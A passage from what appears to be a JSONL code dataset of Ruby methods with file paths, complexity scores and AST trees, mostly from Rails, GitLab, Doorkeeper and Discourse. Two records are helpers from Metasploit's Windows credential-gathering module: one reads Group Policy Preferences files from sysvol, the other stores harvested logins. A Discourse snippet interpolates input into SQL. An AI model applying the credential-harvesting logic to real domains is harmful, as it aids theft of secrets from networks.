end","complexity_score":50.9,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Observability|Group is required\"]}]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Observability|User is required\"]}]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Observability|You are not authorized to request observability access\"]}]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"project_for_observability_access_requests\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Observability|Project not found\"]}]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_issue\",{\"type\":\"send\",\"children\":[null,\"existing_issue?\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_issue\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"existing_issue\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"issue_params\",{\"type\":\"send\",\"children\":[null,\"build_issue_params\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Issues\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Internal\"]},\"admin_bot\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"issue_params\"]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Observability\"]},\"CreateGroupO11ySettingWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issue\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"lvar\",\"children\":[\"error_message\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}","id":"6a28107f-2c56-41a1-b620-fcf5c2144700"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1305,"raw_source":"def test_assert_performed_jobs_with_except_option_as_array\n      assert_nothing_raised do\n        assert_performed_jobs 1, except: [LoggingJob, RescueJob] do\n          HelloJob.perform_later(\"jeremy\")\n          LoggingJob.perform_later(\"stewie\")\n          RescueJob.perform_later(\"david\")\n        end\n      end\n    end","complexity_score":8.43,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_jobs_with_except_option_as_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},{\"type\":\"const\",\"children\":[null,\"RescueJob\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"stewie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RescueJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"david\"]}]}]}]}]}]}","id":"2ae923ee-5a4a-4ea1-84ab-65a56ac74837"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/spec/dummy/db/migrate/20170822064514_enable_pkce.rb","start_line":4,"raw_source":"def change\n    add_column :oauth_access_grants, :code_challenge, :string, null: true\n    add_column :oauth_access_grants, :code_challenge_method, :string, null: true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"oauth_access_grants\"]},{\"type\":\"sym\",\"children\":[\"code_challenge\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"oauth_access_grants\"]},{\"type\":\"sym\",\"children\":[\"code_challenge_method\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"2f11f550-82aa-40f4-8df3-263298e863ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cluster/lifecycle_events.rb","start_line":95,"raw_source":"def on_before_fork(&block)\n          # Defer block execution\n          (@before_fork_hooks ||= []) << block\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_before_fork\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@before_fork_hooks\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}","id":"7aaf475a-0254-4ca6-bc74-f3ee28083f65"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":551,"raw_source":"def scoping(all_queries: nil, &block)\n      registry = model.scope_registry\n      if global_scope?(registry) && all_queries == false\n        raise ArgumentError, \"Scoping is set to apply to all queries and cannot be unset in a nested block.\"\n      elsif already_in_scope?(registry)\n        yield\n      else\n        _scoping(self, registry, all_queries, &block)\n      end\n    end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"scoping\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"all_queries\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"registry\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"scope_registry\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"global_scope?\",{\"type\":\"lvar\",\"children\":[\"registry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_queries\"]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Scoping is set to apply to all queries and cannot be unset in a nested block.\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"already_in_scope?\",{\"type\":\"lvar\",\"children\":[\"registry\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"_scoping\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"registry\"]},{\"type\":\"lvar\",\"children\":[\"all_queries\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}]}","id":"720784d7-48d6-481c-b6d4-446e7f6b3f93"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/routes_test.rb","start_line":411,"raw_source":"def run_routes_command(args = [])\n      rails \"routes\", args\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_routes_command\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"routes\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}","id":"b44d189e-f256-4785-b365-88aaf7b5d19f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/report.rb","start_line":47,"raw_source":"def create_credential_login(opts={})\n    if active_db?\n      opts = { :task_id => mytask.id }.merge(opts) if mytask\n      framework.db.create_credential_login(opts)\n    elsif !db_warning_given?\n      vprint_warning('No active DB -- Credential data will not be saved!')\n      nil\n    end\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_credential_login\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_db?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mytask\"]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"task_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mytask\"]},\"id\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_warning_given?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"str\",\"children\":[\"No active DB -- Credential data will not be saved!\"]}]},{\"type\":\"nil\",\"children\":[]}]},null]}]}]}","id":"c6aa7470-a772-4b64-9047-2efaa12a7a49"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/discuz_x.rb","start_line":653,"raw_source":"def is_first_pm(pm_id, thread_id)\n    result =\n      mysql_query(\n        \"\n          SELECT pmid id\n            FROM #{table_name \"ucenter_pm_indexes\"}\n           WHERE plid = #{thread_id}\n        ORDER BY id\",\n      )\n    result.first[\"id\"].to_s == pm_id.to_s\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_first_pm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pm_id\"]},{\"type\":\"arg\",\"children\":[\"thread_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          SELECT pmid id\\n\"]},{\"type\":\"str\",\"children\":[\"            FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\",{\"type\":\"str\",\"children\":[\"ucenter_pm_indexes\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"           WHERE plid = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        ORDER BY id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pm_id\"]},\"to_s\"]}]}]}]}","id":"1acd96aa-ab29-47e7-afa9-8eda783bdac9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb","start_line":239,"raw_source":"def gpp_xml_file(path)\n    data = read_file(path)\n\n    spath = path.split('\\\\')\n    retobj = {\n      dc: spath[2],\n      guid: spath[6],\n      path: path,\n      xml: data\n    }\n    if spath[4] == 'sysvol'\n      retobj[:domain] = spath[5]\n    else\n      retobj[:domain] = spath[4]\n    end\n\n    adsi_filter_gpo = \"(&(objectCategory=groupPolicyContainer)(name=#{retobj[:guid]}))\"\n    adsi_field_gpo = ['displayname', 'name']\n\n    gpo_adsi = adsi_query(retobj[:domain], adsi_filter_gpo, adsi_field_gpo)\n\n    unless gpo_adsi.empty?\n      gpo_name = gpo_adsi[0][0][:value]\n      gpo_guid = gpo_adsi[0][1][:value]\n      retobj[:name] = gpo_name if retobj[:guid] == gpo_guid\n    end\n\n    return retobj\n  rescue Rex::Post::Meterpreter::RequestError => e\n    print_error \"Received error code #{e.code} when reading #{path}\"\n    return nil\n  end","complexity_score":52.3,"ast_json":"{\"type\":\"def\",\"children\":[\"gpp_xml_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"spath\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"retobj\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spath\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spath\"]},\"[]\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spath\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"==\",{\"type\":\"str\",\"children\":[\"sysvol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retobj\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spath\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retobj\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spath\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adsi_filter_gpo\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(&(objectCategory=groupPolicyContainer)(name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retobj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"guid\"]}]}]},{\"type\":\"str\",\"children\":[\"))\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adsi_field_gpo\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"displayname\"]},{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gpo_adsi\",{\"type\":\"send\",\"children\":[null,\"adsi_query\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retobj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"lvar\",\"children\":[\"adsi_filter_gpo\"]},{\"type\":\"lvar\",\"children\":[\"adsi_field_gpo\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gpo_adsi\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gpo_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gpo_adsi\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gpo_guid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gpo_adsi\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retobj\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"guid\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"gpo_guid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retobj\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"gpo_name\"]}]},null]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retobj\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received error code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" when reading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]}","id":"de3daa44-7cf4-4f02-8ce7-9eec80776863"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb","start_line":50,"raw_source":"def quote_table_name(name)\n            QUOTED_TABLE_NAMES[name] ||= \"`#{name.to_s.gsub('`', '``').gsub(\".\", \"`.`\")}`\".freeze\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_table_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTED_TABLE_NAMES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"str\",\"children\":[\"``\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"`.`\"]}]}]},{\"type\":\"str\",\"children\":[\"`\"]}]},\"freeze\"]}]}]}","id":"1e8f5dd7-d00d-4100-b189-094c8f921340"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/label.rb","start_line":18,"raw_source":"def translation\n            method_and_value = @tag_value.present? ? \"#{@method_name}.#{@tag_value}\" : @method_name\n\n            content ||= Translator\n              .new(object, @object_name, method_and_value, scope: \"helpers.label\")\n              .translate\n            content ||= @method_name.humanize\n\n            content\n          end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"translation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method_and_value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag_value\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@method_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tag_value\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@method_name\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Translator\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"object\"]},{\"type\":\"ivar\",\"children\":[\"@object_name\"]},{\"type\":\"lvar\",\"children\":[\"method_and_value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"str\",\"children\":[\"helpers.label\"]}]}]}]},\"translate\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@method_name\"]},\"humanize\"]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}","id":"0e8e561f-7f94-4c68-9c64-2534bcac44cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request_throttle_data.rb","start_line":98,"raw_source":"def common_response_headers\n        {\n          'RateLimit-Name' => name.to_s,\n          'RateLimit-Limit' => rounded_limit.to_s,\n          'RateLimit-Observed' => observed.to_i.to_s,\n          'RateLimit-Remaining' => remaining.to_i.to_s,\n          'RateLimit-Reset' => reset_time.to_i.to_s\n        }\n      end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"common_response_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RateLimit-Name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RateLimit-Limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rounded_limit\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RateLimit-Observed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"observed\"]},\"to_i\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RateLimit-Remaining\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remaining\"]},\"to_i\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RateLimit-Reset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_time\"]},\"to_i\"]},\"to_s\"]}]}]}]}","id":"2b4236c5-fe59-49cc-99d1-115f137cb295"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1403,"raw_source":"def test_first_or_create_with_no_parameters\n    parrot = Bird.where(color: \"green\").first_or_create\n    assert_kind_of Bird, parrot\n    assert_not_predicate parrot, :persisted?\n    assert_equal \"green\", parrot.color\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first_or_create_with_no_parameters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parrot\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bird\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"str\",\"children\":[\"green\"]}]}]}]},\"first_or_create\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Bird\"]},{\"type\":\"lvar\",\"children\":[\"parrot\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"parrot\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"green\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"color\"]}]}]}]}","id":"a6f417c1-dbf2-46cb-9c11-d95e930a252a"}
